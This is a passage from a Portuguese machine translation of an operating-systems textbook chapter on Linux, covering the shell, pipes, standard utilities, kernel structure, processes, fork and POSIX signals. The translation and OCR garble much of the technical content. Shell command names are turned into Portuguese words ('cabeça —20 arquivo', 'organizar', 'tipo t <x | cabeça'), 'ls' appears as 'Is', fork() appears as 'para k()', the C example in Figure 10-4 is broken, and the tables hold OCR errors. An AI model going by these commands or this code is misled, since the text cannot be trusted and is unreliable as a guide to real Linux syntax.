acesso sequencial, acesso aleatório, acesso com chave, acesso remoto e assim por diante (como fazem 
os quadros principais) apenas atrapalham. Da mesma forma, se o comando 


E A* 
significa listar todos os arquivos que começam com "A" e então o comando 


rm A* 


deveria significar remover todos os arquivos que começam com "A" e não remover o único arquivo 
cujo nome de dois caracteres consiste em um “A” e um asterisco. Esta característica é 
às vezes chamado de princípio da menor surpresa. 

Outra coisa que os programadores experientes geralmente desejam é poder e flexibilidade. Isto 
significa que um sistema deve ter um pequeno número de elementos básicos que 
podem ser combinados de uma infinita variedade de maneiras para se adequar à aplicação. Um dos 
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A diretriz básica por trás do Linux é que todo programa deve fazer apenas uma coisa e bem feito. Assim, os 
compiladores não produzem listagens, porque outros programas podem fazer isso melhor. 


Finalmente, a maioria dos programadores não gosta de redundância inútil. Por que digitar copy quando cp 
é claro o suficiente para deixar bem claro o que você deseja? É uma completa perda de tempo valioso de 
hacking. Para extrair todas as linhas contendo a string "ard" do arquivo f, o programador Linux simplesmente 
digita 


grepard f 


A abordagem oposta é fazer com que o programador primeiro selecione o programa grep (sem argumentos) e 
depois faça com que o grep se anuncie dizendo: "Olá, sou grep, procuro padrões em arquivos. Por favor insira 
seu padrão." Depois de obter o padrão, o grep solicita um nome de arquivo. Em seguida, pergunta se há mais 
nomes de arquivos. Por fim, resume o que vai fazer e pergunta se isso está correto. Embora esse tipo de 
interface de usuário possa ser adequado para novatos, ele leva os programadores qualificados à loucura. O que 


eles querem é um servo, não uma babá. 


10.2.2 Interfaces para Linux 


O sistema Linux pode ser considerado como uma espécie de pirâmide, conforme ilustrado na Figura 10.1. 
Na parte inferior está o hardware, composto por CPU, memória, discos, monitor e teclado, além de outros 
dispositivos. Executando no hardware básico está o sistema operacional. Sua função é controlar o hardware e 
fornecer uma interface de chamada de sistema para todos os programas. Essas chamadas de sistema permitem 


que programas de usuários criem e gerenciem processos, arquivos e outros recursos. 


Interface de uguário 
Usuários 


Interface 
da biblioteca 


Interface de | 


Programas utilitários padrão (shell, 


editores, compiladores, etc.) 
Modo 


de usuário 
Biblioteca padrão (abrir, | 


fechar, ler, escrever, bifurcar, etc.) 


Modo kernel 


t 


Sistema operacional Linux 


(gerenciamento de processos, gerenciamento de memória, sistema de 


arquivos, E/S, etc.) 


Hardware 


(CPU, memória, discos, terminais, etc.) 


Figura 10-1. As camadas em um sistema Linux. 
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Os programas fazem chamadas de sistema colocando os argumentos em registradores (ou, às vezes, 
na pilha) e emitindo instruções trap para alternar do modo de usuário para o modo kernel. Como não há 
como escrever uma instrução trap em C, é fornecida uma biblioteca, com um procedimento por chamada de 
sistema. Esses procedimentos são escritos em linguagem assembly, mas podem ser chamados a partir de 
C. Cada um primeiro coloca seus argumentos no 
local apropriado e então executa a instrução trap. Assim, para executar o sistema de leitura 
chamada, um programa C pode chamar o procedimento de leitura da biblioteca. À parte, é a biblioteca 
interface, e não a interface de chamada do sistema, especificada pelo POSIX. Em outro 
palavras, POSIX informa quais procedimentos de biblioteca um sistema compatível deve fornecer, 
quais são seus parâmetros, o que devem fazer e quais resultados devem retornar. Isto 
nem sequer menciona as chamadas reais do sistema. 

Além do sistema operacional e da biblioteca de chamadas do sistema, todas as versões do 
O Linux fornece um grande número de programas padrão, alguns dos quais são especificados por 
o padrão POSIX 1003.1-2017, e alguns dos quais diferem entre as versões do Linux. Isso inclui o processador 
de comandos (shell), compiladores, editores, programas de processamento de texto e utilitários de 
manipulação de arquivos. São esses programas que um usuário em 
o teclado invoca. Assim, podemos falar de três interfaces diferentes para Linux: 

a verdadeira interface de chamada do sistema, a interface da biblioteca e a interface formada pelo 
conjunto de programas utilitários padrão. 

A maioria das distribuições comuns de computadores pessoais do Linux substituíram 
esta interface de usuário orientada para teclado com mouse ou tela sensível ao toque 
interface gráfica do usuário, sem alterar o próprio sistema operacional. Isso é 
precisamente esta flexibilidade que torna o Linux tão popular e lhe permitiu sobreviver 
inúmeras mudanças na tecnologia subjacente tão bem. 

A GUI para Linux é semelhante às primeiras GUIs desenvolvidas para sistemas UNIX em 
na década de 1970 e popularizado pelo Macintosh e posteriormente pelo Windows para plataformas de PC. O 
GUI cria um ambiente de desktop, uma metáfora familiar com janelas, ícones, 
pastas, barras de ferramentas e recursos de arrastar e soltar. Um ambiente de área de trabalho completo 
contém um gerenciador de janelas, que controla o posicionamento e a aparência das janelas, bem como de 
vários aplicativos, e fornece uma interface gráfica consistente. 

Ambientes de desktop populares para Linux incluem GNOME (GNU Network Object 
Model Environment) e KDE (K Desktop Environment). 

GUIs no Linux são suportadas pelo X Windowing System, ou comumente X11 
ou apenas X, que define protocolos de comunicação e exibição para manipulação 
janelas em exibições de bitmap para sistemas UNIX e semelhantes a UNIX. O servidor X é o 
componente principal que controla dispositivos como teclado, mouse e tela 
e é responsável por redirecionar entradas ou aceitar saídas de programas clientes. O ambiente GUI real 
normalmente é construído sobre uma biblioteca de baixo nível, 
xlib, que contém a funcionalidade para interagir com o servidor X. O gráfico 
interface estende a funcionalidade básica do X11 enriquecendo a visualização da janela, 
fornecendo botões, menus, ícones e outras opções. O servidor X pode ser iniciado 
manualmente, a partir de uma linha de comando, mas normalmente é iniciado durante o processo de inicialização por 


um gerenciador de exibição, que exibe a tela gráfica de login do usuário. 
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Ao trabalhar em sistemas Linux por meio de uma interface gráfica, os usuários podem usar 
cliques do mouse para executar aplicativos ou abrir arquivos, arrastar e soltar para copiar 
arquivos de um local para outro e assim por diante. Além disso, os usuários podem invocar um 
programa emulador de terminal, ou xterm, que fornece a interface básica de linha de comando 
para o sistema operacional. Sua descrição é dada na seção seguinte. 


10.2.3 A casca 


Embora os sistemas Linux tenham uma interface gráfica de usuário, a maioria dos 
programadores e usuários sofisticados ainda preferem uma interface de linha de comando, chamada shell. 
Freqüentemente, eles iniciam uma ou mais janelas de shell a partir da interface gráfica do usuário 
e apenas trabalham nelas. A interface de linha de comando do shell é muito mais rápida de usar, 
mais poderosa, facilmente extensível e não dá ao usuário RSI por ter que usar um mouse o 
tempo todo. Abaixo descreveremos brevemente o shell bash (bash). É fortemente baseado no 
shell UNIX original, Bourne shell (escrito por Steve Bourne, então no Bell Labs). Seu nome é um 
acrônimo para Bourne Again SHell. Muitos outros shells também estão em uso (ksh, csh, etc.), 
mas bash é o shell padrão na maioria dos sistemas Linux. 


Quando o shell é iniciado, ele se inicializa, digita um caractere de prompt , geralmente uma 
porcentagem ou um cifrão, na tela e espera que o usuário digite uma linha de comando. 


Quando o usuário digita uma linha de comando, o shell extrai a primeira palavra dela, onde 
palavra aqui significa uma série de caracteres delimitados por um espaço ou tabulação. Em 
seguida, ele assume que esta palavra é o nome de um programa a ser executado, procura esse 
programa e, se o encontrar, executa o programa. O shell então se suspende até que o programa 
termine, momento em que ele tenta ler o próximo comando. O que é importante aqui é 
simplesmente observar que o shell é um programa de usuário comum. Tudo o que precisa é a 
capacidade de ler no teclado e escrever no monitor e a capacidade de executar outros programas. 


Os comandos podem receber argumentos, que são passados ao programa chamado como 
cadeias de caracteres. Por exemplo, a linha de comando 


cp src destino 


invoca o programa cp com dois argumentos, src e dest. Este programa interpreta o primeiro 
como o nome de um arquivo existente. Ele faz uma cópia deste arquivo e chama a cópia dest. 


Nem todos os argumentos são nomes de arquivos. Em 


cabeça —20 arquivo 


o primeiro argumento, —20, diz ao head para imprimir as primeiras 20 linhas do arquivo, em vez 
do número padrão de linhas, 10. Argumentos que controlam a operação de um comando ou 
especificam um valor opcional são chamados de sinalizadores e, por convenção, são indicados 
com um traço. O travessão é necessário para evitar ambiguidade, pois o comando 
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arquivo cabeça 20 


é perfeitamente legal e diz ao head para primeiro imprimir as 10 linhas iniciais de um arquivo chamado 
20 e depois imprimir as 10 linhas iniciais de um segundo arquivo chamado file. A maioria dos 
comandos do Linux aceita vários sinalizadores e argumentos. 

Para facilitar a especificação de vários nomes de arquivos, o shell aceita caracteres mágicos, 
às vezes chamados de curingas. Um asterisco, por exemplo, corresponde a todas as strings possíveis, 
então 


Is *.c 


diz a Is para listar todos os arquivos cujo nome termina em .c. Se existirem arquivos chamados xc, yc 
e zc, o comando acima é equivalente a digitar 


Is xc yc zc 


Outro curinga é o ponto de interrogação, que corresponde a qualquer caractere. Uma lista de caracteres 
entre colchetes seleciona qualquer um deles, então 


Is [macaco]* 


lista todos os arquivos que começam com "a", "p" ou "e". 

Um programa como o shell não precisa abrir o terminal (teclado e monitor) para ler ou escrever 
nele. Em vez disso, quando ele (ou qualquer outro programa) é iniciado, ele automaticamente tem 
acesso a um arquivo chamado entrada padrão (para leitura), um arquivo chamado saída padrão 
(para escrever a saída normal) e um arquivo chamado erro padrão (para escrever mensagens de 
erro). Normalmente, todos os três são padronizados para o terminal, de modo que as leituras da 
entrada padrão vêm do teclado e as gravações na saída padrão ou erro padrão vão para a tela. Muitos 
programas Linux leem a entrada padrão e gravam na saída padrão como padrão. Por exemplo, 


organizar 


invoca o programa sort , que lê as linhas do terminal (até que o usuário digite CTRL-D, para indicar o 
fim do arquivo), classifica-as em ordem alfabética e grava o resultado na tela. 


Também é possível redirecionar a entrada padrão e a saída padrão, pois isso geralmente é útil. 
A sintaxe para redirecionar a entrada padrão usa um símbolo de menor que (<) seguido do nome do 
arquivo de entrada. Da mesma forma, a saída padrão é redirecionada usando um símbolo maior que 
(>). É permitido redirecionar ambos no mesmo comando. Por exemplo, o comando 


classificar <entrada>fora 


faz com que sort receba sua entrada do arquivo e grave sua saída no arquivo . 

Como o erro padrão não foi redirecionado, qualquer mensagem de erro irá para a tela. 

Um programa que lê sua entrada da entrada padrão, faz algum processamento nela e grava sua saída 
na saída padrão é chamado de filtro. 
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Considere a seguinte linha de comando que consiste em três comandos separados separados por 
ponto e vírgula: 


ordenar <in >temp; cabeça —30 <temperatura; temperatura média 


Primeiro ele executa sort, pegando a entrada de in e gravando a saída em temp. Quando isso for 
concluído, o shell executa head, instruindo-o a imprimir as primeiras 30 linhas de temp e imprimi-las na 
saída padrão, cujo padrão é o terminal. Finalmente, o arquivo temporário é removido. Não vai para 
alguma lixeira especial para reciclagem. Foi embora com o vento, para sempre. 


Frequentemente ocorre que o primeiro programa em uma linha de comando produz uma saída que 
é usada como entrada para o próximo programa. No exemplo acima, usamos o arquivo temp para 
armazenar esta saída. No entanto, o Linux oferece uma construção mais simples para fazer a mesma 
coisa. Em 


classificar <in | cabeça —30 


a barra vertical, chamada de símbolo de barra vertical, diz para pegar a saída da classificação e usá-la 
como entrada para o cabeçalho, eliminando a necessidade de criar, usar e remover o arquivo temporário. 
Uma coleção de comandos conectados por símbolos de barra vertical, chamada pipeline, pode conter 
muitos comandos arbitrariamente. Um pipeline de quatro componentes é mostrado no exemplo a seguir: 


grep ter *t | classificar | cabeça —20 | cauda —5 >foo 


Aqui todas as linhas contendo a string "ter" em todos os arquivos que terminam em .t são gravadas na 
saída padrão, onde são classificadas. Os primeiros 20 deles são selecionados por head, que os passa 
para tail, que grava os últimos cinco (isto é, as linhas 16 a 20 na lista ordenada) em foo. Este é um 
exemplo de como o Linux fornece blocos de construção básicos (numerosos filtros), cada um dos quais 
realiza uma tarefa, juntamente com um mecanismo para que eles sejam reunidos de maneiras quase 
ilimitadas. 

Linux é um sistema de multiprogramação de uso geral. Um único usuário pode executar vários 
programas ao mesmo tempo, cada um como um processo separado. A sintaxe do shell para executar 
um processo em segundo plano é seguir seu comando com um e comercial. Por isso 


wc —| <a >b & 


executa o programa de contagem de palavras, wc, para contar o número de linhas ( sinalizador —l) em 
sua entrada, a, escrevendo o resultado em b, mas faz isso em segundo plano. Assim que o comando for 
digitado, o shell digita o prompt e está pronto para aceitar e manipular o próximo comando. Pipelines 
também podem ser colocados em segundo plano, por exemplo, por 


tipo t <x | cabeça & 


Vários pipelines podem ser executados em segundo plano simultaneamente. 

Também é possível colocar uma lista de comandos shell em um arquivo e então iniciar um shell 
com este arquivo como entrada padrão. O (segundo) shell apenas os processa em ordem, da mesma 
forma que faria com os comandos digitados no teclado. Arquivos contendo shell 
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comandos são chamados de scripts de shell. Os scripts de shell podem atribuir valores a variáveis 
de shell e depois lê-los mais tarde. Eles também podem ter parâmetros e usar construções if, for, while 
e case . Assim, um script shell é na verdade um programa escrito em linguagem shell. O shell Berkeley 
C é um shell alternativo projetado para fazer com que os scripts de shell (e a linguagem de comando 
em geral) se pareçam com programas C em muitos aspectos. Como o shell é apenas mais um 
programa de usuário, outras pessoas escreveram e distribuíram uma variedade de outros shells. Os 
usuários são livres para escolher os shells que desejarem. 


10.2.4 Programas utilitários Linux 


A interface do usuário de linha de comando (shell) para Linux consiste em um grande número de 
programas utilitários padrão. Grosso modo, esses programas podem ser divididos em seis categorias, 
sendo elas: 

1. Comandos de manipulação de arquivos e diretórios. 


2. Filtros. 


3. Ferramentas de desenvolvimento de programas, como editores e compiladores. 
4. Processamento de texto. 


5. Administração do sistema. 


6. Diversos. 


O padrão POSIX 1003.1-2017 especifica a sintaxe e a semântica de 160 deles, principalmente nas três 
primeiras categorias. A ideia de padronizá-los é possibilitar que qualquer pessoa escreva scripts shell 
que utilizem esses programas e funcionem em todos os sistemas Linux. 


Além desses utilitários padrão, há também muitos programas aplicativos, como navegadores da 
Web, reprodutores de mídia, visualizadores de imagens, suítes de escritório, jogos e assim por diante. 


Consideremos alguns exemplos desses programas, começando pela manipulação de arquivos 
e diretórios. 


cp ab 


copia o arquivo a para b, deixando o arquivo original intacto. Em contraste, 
mv ab 


copia a para b , mas remove o original. Na verdade, ele move o arquivo em vez de realmente fazer 
uma cópia no sentido usual. Vários arquivos podem ser concatenados usando cat, que lê cada um de 
seus arquivos de entrada e os copia todos para a saída padrão, um após o outro. Os arquivos podem 
ser removidos pelo comando rm . O comando chmod permite ao proprietário alterar os bits de direitos 
para modificar as permissões de acesso. Os diretórios podem 
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ser criado com mkdir e removido com rmdir. Para ver uma lista dos arquivos em um diretório, Is pode ser 


usado. Possui um grande número de sinalizadores para controlar a quantidade de detalhes sobre 
cada arquivo é mostrado (por exemplo, tamanho, proprietário, grupo, data de criação), para determinar a classificação 
ordem (por exemplo, alfabética, por hora da última modificação, invertida), para especificar o layout na 
tela e muito mais. 
Já vimos vários filtros: grep extrai linhas contendo um determinado padrão da entrada padrão ou de 
um ou mais arquivos de entrada; sort classifica sua entrada e a grava 
na saída padrão; head extrai as linhas iniciais de sua entrada; cauda extrai o final 
linhas de sua entrada. Outros filtros definidos por 1003.1 são recortar e colar, que permitem 
colunas de texto a serem recortadas e coladas em arquivos; od, que converte sua entrada (geralmente 
binária) em texto ASCII, em octal, decimal ou hexadecimal; tr, que faz personagem 
tradução (por exemplo, de minúsculas para maiúsculas) e pr, que formata a saída para o 
impressora, incluindo opções para incluir cabeçotes, números de página e assim por diante. 
Compiladores e ferramentas de programação incluem cc, que chama o compilador C, e 
ar, que coleta procedimentos de biblioteca em arquivos compactados. 
Outra ferramenta importante é o make, que é usado para manter programas grandes 
cujo código-fonte consiste em vários arquivos. Normalmente, alguns deles são cabeçalho 
arquivos, que contêm tipo, variável, macro e outras declarações. Arquivos de origem frequentemente 
inclua-os usando uma diretiva include especial . Desta forma, dois ou mais arquivos de origem 
podem compartilhar as mesmas declarações. Entretanto, se um arquivo de cabeçalho for modificado, é 
necessário encontrar todos os arquivos fonte que dependem dele e recompilá-los. A função 
do make é controlar qual arquivo depende de qual cabeçalho e coisas semelhantes, 
e providenciar para que todas as compilações necessárias ocorram automaticamente. Quase todos 
Os programas Linux, exceto alguns dos menores, são configurados para serem compilados 
com fazer. 
Uma seleção de programas utilitários POSIX está listada na Fig. 10-2, junto com um 
breve descrição de cada um. Todos os sistemas Linux os possuem e muito mais. 


10.2.5 Estrutura do Kernel 


Na Figura 10-1 vimos a estrutura geral de um sistema Linux. Agora vamos ampliar 
e observe mais de perto o kernel como um todo antes de examinar os vários 
partes, como agendamento de processos e sistema de arquivos. 
O kernel fica diretamente no hardware e permite interações com dispositivos de E/S e a unidade de 
gerenciamento de memória e controla o acesso da CPU a eles. No 
No nível mais baixo, como mostrado na Figura 10-3, ele contém manipuladores de interrupção, que são 
a principal forma de interação com dispositivos, e o mecanismo de despacho de baixo nível. 
Esse despacho ocorre quando ocorre uma interrupção. O código de baixo nível aqui para 
o processo em execução, salva seu estado nas estruturas do processo do kernel e inicia o 
driver apropriado. O despacho do processo também acontece quando o kernel é concluído 
algumas operações e é hora de iniciar um processo de usuário novamente. O despacho 
o código está em assembler e é bem diferente do agendamento. 


Machine Translated by Google 


SEC. 10.2 VISÃO GERAL DO LINUX 721 
Programa Uso típico 
gato Concatenar vários arquivos para saída padrão 
chmod Alterar o modo de proteção de arquivos 
CP Copie um ou mais arquivos 
corte Cortar colunas de texto de um arquivo 
grep Procure algum padrão em um arquivo 
cabeça Extraia as primeiras linhas de um arquivo 
eu Diretor da lista y 
fazer Compilar arquivos para construir um binário 
mkdir Faça um diretor y 
ah Octal despeja um arquivo 
colar Colar colunas de texto em um arquivo 
pr Para criar um arquivo para impressão 
obs: Listar processos em execução 
rm Remover um ou mais arquivos 
rmdir Remover um diretor y 
grganizar Sort ta arquivo de linhas em ordem alfabética 
cauda Extraia as últimas linhas de um arquivo 
tr Traduzir entre conjuntos de caracteres 


Figura 10-2. Alguns dos programas utilitários Linux comuns exigidos pelo POSIX. 


A seguir, dividimos os vários subsistemas do kernel em três componentes principais. 

O componente de E/S da Figura 10.3 contém todas as partes do kernel responsáveis pela interação com 
os dispositivos e pela execução de operações de E/S de rede e armazenamento. No mais alto nível, as 
operações de I/O são todas integradas em um VFS (Virtual File System) 

camada. Ou seja, no nível superior, realizar uma operação de leitura em um arquivo, esteja ele em 
memória ou no disco, é o mesmo que executar uma operação de leitura para recuperar um caractere de 
uma entrada de terminal. No nível mais baixo, todas as operações de E/S passam por algum 

driver do dispositivo. Todos os drivers Linux são classificados como drivers de dispositivos de caracteres ou 
drivers de dispositivos de bloco, a principal diferença é que buscas e acessos aleatórios são 

permitido em dispositivos de bloco e não em dispositivos de caracteres. Tecnicamente, os dispositivos de 
rede são, na verdade, dispositivos de caráter, mas são tratados de maneira um pouco diferente. 

que provavelmente é mais claro separá-los, como foi feito na figura. 

Acima do nível do driver de dispositivo, o código do kernel é diferente para cada tipo de dispositivo. 
Dispositivos de caracteres podem ser usados de duas maneiras diferentes. Alguns programas, como 
editores visuais, como vi e emacs, desejam cada pressionamento de tecla à medida que são pressionados. Terminal bruto 
(tty) A E/S torna isso possível. Outros softwares, como o shell, são orientados a linhas, 
permitindo que os usuários editem a linha inteira antes de pressionar ENTER para enviá-la ao programa. 
Neste caso, o fluxo de caracteres do dispositivo terminal é passado através 
uma chamada disciplina de linha e a formatação apropriada é aplicada. 
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Chamadas do sistema 


Componente de Componente de 


Componente de E/S gerenciamento de memória gerenciamento de processo 
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Figura 10-3. Estrutura do kernel Linux. 


O software de rede costuma ser modular, com suporte para diferentes dispositivos e protocolos. 
A camada acima dos drivers de rede lida com uma espécie de função de roteamento, garantindo 
que o pacote certo vá para o dispositivo ou manipulador de protocolo correto. A maioria dos sistemas 
Linux contém todas as funcionalidades de um roteador de hardware dentro do kernel, embora o 
desempenho seja inferior ao de um roteador de hardware. Acima do código do roteador está a pilha 
de protocolos real, incluindo IP e TCP, mas também muitos protocolos adicionais. Sobrepondo toda 
a rede está a interface de soquete, que permite aos programas criar soquetes para redes e 
protocolos específicos, obtendo de volta um descritor de arquivo para cada soquete para uso 
posterior. 

Acima dos drivers de disco está o agendador de E/S, que é responsável por ordenar e emitir 
solicitações de operação de disco de uma forma que tente conservar o movimento desnecessário 
da cabeça do disco ou atender a alguma outra política do sistema. 

No topo da coluna de dispositivos de bloco estão os sistemas de arquivos. O Linux pode, e de 
fato tem, ter vários sistemas de arquivos coexistindo simultaneamente. Para ocultar as horríveis 
diferenças arquitetônicas de vários dispositivos de hardware da implementação do sistema de 
arquivos, uma camada genérica de dispositivos de blocos fornece uma abstração usada por todos 
os sistemas de arquivos. 

Na metade direita da Figura 10-3 estão os outros dois componentes principais do kernel Linux. 
Esses dois são responsáveis pelas tarefas de gerenciamento de memória e processos. 

As tarefas de gerenciamento de memória incluem manter a memória virtual em memória física 
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mapeamentos de páginas, mantendo um cache de páginas acessadas recentemente e implementando 
uma boa política de substituição de páginas e introdução sob demanda de novas páginas necessárias 
código e dados na memória. 

A principal responsabilidade do componente de gerenciamento de processos é a criação 
e encerramento de processos. Também inclui o escalonador de processos, que escolhe 
qual processo ou melhor, thread será executado em seguida. Como veremos na próxima seção, o 
O kernel do Linux trata processos e threads simplesmente como entidades executáveis, e 
irá agendá-los com base em uma política de agendamento global. Finalmente, código para sinal 
o manuseio também pertence a este componente. 

Embora os três componentes sejam representados separadamente na figura, eles são 
altamente interdependente. Os sistemas de arquivos normalmente acessam arquivos por meio de 
dispositivos de bloco. Porém, para ocultar as grandes latências de acesso ao disco, os arquivos são 
copiados para o cache de páginas da memória principal. Alguns arquivos podem até ser dinamicamente 
criado e pode ter apenas uma representação na memória, como arquivos que fornecem 
algumas informações de uso de recursos em tempo de execução. Além disso, o sistema de memória virtual 
pode contar com uma partição de disco ou área de troca em arquivo para fazer backup de partes da 
memória principal quando precisar liberar certas páginas e, portanto, depende do componente de E/S. 
Existem inúmeras outras interdependências. 

Além dos componentes estáticos do kernel, o Linux suporta dinamicamente 
módulos carregáveis. Esses módulos podem ser usados para adicionar ou substituir o dispositivo padrão 
drivers, sistema de arquivos, rede ou outros códigos de kernel. Os módulos não são mostrados 
na Figura 10-3. 

Finalmente, no topo está a interface de chamada do sistema no kernel. Todo o sistema 
chamadas vêm aqui, causando uma armadilha que muda a execução do modo de usuário para 
modo kernel protegido e passa o controle para um dos componentes do kernel descritos anteriormente. 


10.3 PROCESSOS NO LINUX 


Nas seções anteriores, começamos examinando o Linux como visto a partir do 
teclado, ou seja, o que o usuário vê em uma janela do xterm . Demos exemplos de 
comandos shell e programas utilitários que são usados com frequência. Terminamos com um 
breve visão geral da estrutura do sistema. Agora é hora de nos aprofundarmos no kernel 
e observe mais de perto os conceitos básicos que o Linux suporta, ou seja, processos, 
memória, sistema de arquivos e entrada/saída. Essas noções são importantes porque 
chamadas de sistema — a interface para o próprio sistema operacional — as manipulam. Para 
Por exemplo, existem chamadas de sistema para criar processos e threads, alocar memória, abrir 
arquivos e fazer E/S. 

Infelizmente, com tantas distribuições de Linux existentes (e versões antigas do kernel ainda 
amplamente utilizadas), existem algumas diferenças entre elas. Em 
Neste capítulo, enfatizaremos as características comuns a todos eles, em vez de 
concentre-se em qualquer versão específica. Assim, em determinadas secções (especialmente nas 
secções de implementação), a discussão pode não se aplicar igualmente a todas as versões. 
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10.3.1 Conceitos Fundamentais 


As principais entidades ativas em um sistema Linux são os processos. Os processos do Linux 
são muito semelhantes aos processos sequenciais clássicos que estudamos no Cap. 2. 

Cada processo executa um único programa e inicialmente possui um único thread de controle. Em 
outras palavras, possui um contador de programa, que acompanha a próxima instrução a ser 
executada. O Linux permite que um processo crie threads adicionais assim que for iniciado. 

O Linux é um sistema de multiprogramação, portanto, vários processos independentes podem 
estar em execução ao mesmo tempo. Além disso, cada usuário pode ter vários processos ativos ao 
mesmo tempo, portanto, em um sistema grande, pode haver centenas ou até milhares de processos 
em execução. Na verdade, na maioria das estações de trabalho de usuário único, mesmo quando o 
usuário está ausente, dezenas de processos em segundo plano, chamados daemons, estão em 
execução. Eles são iniciados por um script de shell quando o sistema é inicializado. (“Daemon” é 
uma grafia variante de “demônio”, que é um espírito maligno autônomo.) 

Um daemon típico é o cron daemon. Ele acorda uma vez por minuto para verificar se há algum 
trabalho a ser feito. Se assim for, ele faz o trabalho. Em seguida, ele volta a dormir até a hora da 
próxima verificação. 

Este daemon é necessário porque é possível no Linux agendar atividades em minutos, horas, 
dias ou até meses no futuro. Por exemplo, suponha que um usuário tenha uma consulta no dentista 
às 15h da próxima terça-feira. Ele pode fazer uma entrada no banco de dados do cron daemon 
dizendo ao daemon para emitir um bipe para ele, digamos, às 2h30. Quando chega o dia e a hora 
marcados, o cron daemon vê que tem trabalho a fazer e inicia o programa de bipe como um novo 
processo. 

O daemon cron também é usado para iniciar atividades periódicas, como fazer backups diários 
de disco às 4 da manhã ou lembrar usuários esquecidos todos os anos, no dia 31 de outubro, de 
estocar doces ou travessuras para o Halloween. Outros daemons lidam com correio eletrônico de 
entrada e saída, gerenciam a fila da impressora de linha, verificam se há páginas livres suficientes 
na memória e assim por diante. Os daemons são simples de implementar no Linux porque cada um 
é um processo separado, independente de todos os outros processos. 


Os processos são criados no Linux de uma maneira especialmente simples. A chamada de 
sistema fork cria uma cópia exata do processo original. O processo de bifurcação é chamado de 
processo pai. O novo processo é chamado de processo filho. O pai e o filho têm, cada um, suas 
próprias imagens de memória privada. Se o pai alterar posteriormente qualquer uma de suas 
variáveis, as alterações não serão visíveis para o filho e vice-versa. 

Arquivos abertos são compartilhados entre pai e filho. Ou seja, se um determinado arquivo foi 
aberto no pai antes da bifurcação, ele continuará aberto tanto no pai quanto no filho depois. As 
alterações feitas no arquivo por qualquer um deles ficarão visíveis para o outro. Esse comportamento 
é apenas razoável, porque essas alterações também são visíveis para qualquer processo não 
relacionado que abra o arquivo. 

O fato de as imagens de memória, variáveis, registradores e tudo mais serem idênticos no pai 
e no filho leva a uma pequena dificuldade: como os processos sabem qual deve executar o código 
pai e qual deve executar o filho? 
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código? O segredo é que a chamada do sistema fork retorna O para o filho e um valor diferente de 
zero, o PID (Identificador de Processo) do filho, para o pai. Ambos os processos normalmente 
verificam o valor de retorno e agem de acordo, conforme mostrado na Figura 10.4. 


pid = para k(); /* se for k for bem-sucedido, pid > O no pai */ 
if (pid < 0) 
[lidar com erro(); } /* fork falhou (por exemplo, memória ou alguma tabela está cheia) */ 


senão if (pid > 0) { 

/* o código pai vai aqui. /*/ 
) outro ( 

/* o código filho vai aqui. /*/ 


Figura 10-4. Criação de processos em Linux. 


Os processos são nomeados por seus PIDs. Quando um processo é criado, o pai recebe o 
PID do filho, conforme mencionado acima. Se a criança quiser saber seu próprio PID, existe uma 
chamada de sistema, getpid, que fornece isso. Os PIDs são usados de diversas maneiras. 

Por exemplo, quando um filho termina, o pai recebe o PID do filho que acabou de terminar. Isto 
pode ser importante porque um pai pode ter muitos filhos. 

Como os filhos também podem ter filhos, um processo original pode construir uma árvore inteira 
de filhos, netos e futuros descendentes. 

Os processos no Linux podem se comunicar entre si usando uma forma de passagem de 
mensagens. É possível criar um canal entre dois processos no qual um processo pode escrever 
um fluxo de bytes para o outro ler. Esses canais são cnamados de tubos. A sincronização é 
possível porque quando um processo tenta ler um canal vazio, ele é bloqueado até que os dados 
estejam disponíveis. 

Os pipelines Shell são implementados com pipes. Quando o shell vê uma linha como 


tipo t <f | cabeça 


ele cria dois processos, sort e head, e configura um canal entre eles de forma que a saída 
padrão do sort seja conectada à entrada padrão do head . Dessa forma, todos os dados que a 
classificação grava vão diretamente para o cabeçalho, em vez de irem para um arquivo. Se o tubo 
encher, o sistema para de executar a classificação até que o head remova alguns dados dele. 


Os processos também podem se comunicar de outra forma além dos pipes: interrupções de 
software. Um processo pode enviar o que é chamado de sinal para outro processo. Os processos 
podem dizer ao sistema o que eles desejam que aconteça quando um sinal de entrada chegar. As 
opções disponíveis são ignorá-lo, capturá-lo ou deixar o sinal encerrar o processo. 

Terminar o processo é o padrão para a maioria dos sinais. Se um processo optar por capturar os 
sinais enviados a ele, ele deverá especificar um procedimento de tratamento de sinais. Quando 
um sinal chega, o controle mudará abruptamente para o manipulador. Quando o manipulador 
termina e retorna, o controle volta para o lugar de onde veio, de forma análoga às interrupções de 
E/S de hardware. Um processo pode enviar sinais apenas para membros de seu grupo de 
processos, que consiste em seu pai (e outros ancestrais), irmãos e filhos (e outros). 
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descendentes posteriores). Um processo também pode enviar um sinal para todos os membros do seu grupo de 
processos com uma única chamada de sistema. 

Os sinais também são usados para outros fins. Por exemplo, se um processo está fazendo 
aritmética de ponto flutuante e inadvertidamente divide por 0 (algo que os matemáticos tendem 
a desaprovar), ele recebe um sinal SIGFPE (exceção de ponto flutuante). 

Alguns dos sinais exigidos pelo POSIX estão listados na Figura 10.5. Muitos sistemas Linux 
também possuem sinais adicionais, mas os programas que os utilizam podem não ser portáveis 
para outras versões do Linux e UNIX em geral. 


Sinal Causa 


SIGABRT Enviado para abortar um processo e forçar um core 
dump SIGALRM O despertador disparou 


SIGFPE Ocorreu um erro de ponto flutuante (por exemplo, divisão por 0) 
SIGHUP A conexão de telecomunicações foi perdida 


SIGILO O processo tentou executar uma instrução ilegal 
SIGQUIT O usuário pressionou a tecla solicitando um core dump 


SIGKILL Enviado para encerrar um processo (não pode ser capturado ou ignorado) 
SIGPIPE O processo gravou em um pipe que não possui leitores 
SIGSEGV O processo referenciou um endereço de memória inválido 
SIGTERM Ugado para solicitar que um processo termine normalmente 
SIGUSR1 Disponível para fins definidos pelo aplicativo 

SIGUSR2 Disponível para fins definidos pelo aplicativo 


Figura 10-5. Alguns dos sinais exigidos pelo POSIX. 


10.3.2 Chamadas de sistema de gerenciamento de processos no Linux 


Vejamos agora as chamadas do sistema Linux que tratam do gerenciamento de processos. 
Os principais estão listados na Figura 10.6. Fork é um bom lugar para começar a discussão. 
A chamada de sistema fork , suportada também por outros sistemas UNIX tradicionais, é a 
principal forma de criar um novo processo em sistemas Linux. (Discutiremos outra alternativa 
na seção seguinte.) Ele cria uma duplicata exata do processo original, incluindo todos os 
descritores de arquivo, registros e tudo mais. Após a bifurcação, o processo original e a cópia 
(pai e filho) seguem caminhos separados. Todas as variáveis têm valores idênticos no momento 
da bifurcação, mas como todo o espaço de endereço pai é copiado para criar o filho, alterações 
subsequentes em uma delas não afetam a outra. A chamada fork retorna um valor que é zero 
